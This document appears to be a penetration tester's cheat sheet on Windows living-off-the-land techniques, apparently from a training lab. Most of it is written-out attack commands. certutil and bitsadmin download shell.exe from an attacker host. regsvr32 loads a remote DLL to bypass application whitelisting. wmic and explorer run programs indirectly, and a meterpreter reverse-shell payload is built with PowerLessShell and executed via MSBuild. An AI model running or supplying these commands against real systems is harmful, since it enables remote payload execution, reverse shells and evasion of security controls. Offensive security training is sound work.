## Ingress Tool Transfer
|
|
|
|
[certutil.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil), may be used for payload downloads and encoding
|
|
|
|
```sh
|
|
certutil.exe -urlcache -split -f http://%ATTACKER_IP%/shell.exe C:\Windows\Temp\noshell.exe
|
|
certutil.exe -encode shell.exe encoded-shell.txt
|
|
```
|
|
|
|
* [bitsadmin](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin)
|
|
|
|
```sh
|
|
bitsadmin.exe /transfer /download /priority foreground http://%ATTACKER_IP%/shell.exe C:\Windows\Temp\noshell.exe
|
|
```
|
|
|
|
* findstr
|
|
|
|
```sh
|
|
findstr /v dummystring \\Path\to\shell.exe > C:\Windows\Temp\noshell.exe
|
|
```
|
|
|
|
## Indirect Command Execution
|
|
|
|
Explorer as parent process to execute other PEs
|
|
|
|
```sh
|
|
explorer /root, "C:\Windows\System32\cmd.exe"
|
|
```
|
|
|
|
Windows management instrumentation
|
|
|
|
```sh
|
|
wmic.exe process call create calc
|
|
```
|
|
|
|
* `rundll32.exe`
|
|
|
|
## Bypass Whiteslists
|
|
|
|
* `regsvr32.exe` can execute PEs in memory, even remotely
|
|
* DLL has to match architecture
|
|
|
|
```sh
|
|
C:\Windows\System32\regsvr32.exe C:\Temp\shell.dll
|
|
C:\Windows\System32\regsvr32.exe /s /n /u /i:http://%ATTACKER_IP%/shell.dll shell.dll
|
|
```
|
|
|
|
* `bash.exe -c calc.exe`
|
|
|
|
## Shortcut Modification Technique
|
|
|
|
* Execute PEs via shortcuts
|
|
* Clone [powerlessshell](https://github.com/Mr-Un1k0d3r/PowerLessShell.git)
|
|
* `msfvenom` with `windows/meterpreter/reverse_winhttps`
|
|
* Set `multi/handler` with `set payload windows/meterpreter/reverse_winhttps`
|
|
* Transform to `*.csproj`
|
|
|
|
```sh
|
|
python2 PowerLessShell.py -type powershell -source /tmp/shell.ps1 -output shell.csproj
|
|
```
|
|
|
|
* Execute on target
|
|
|
|
```sh
|
|
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\shell.csproj
|
|
```
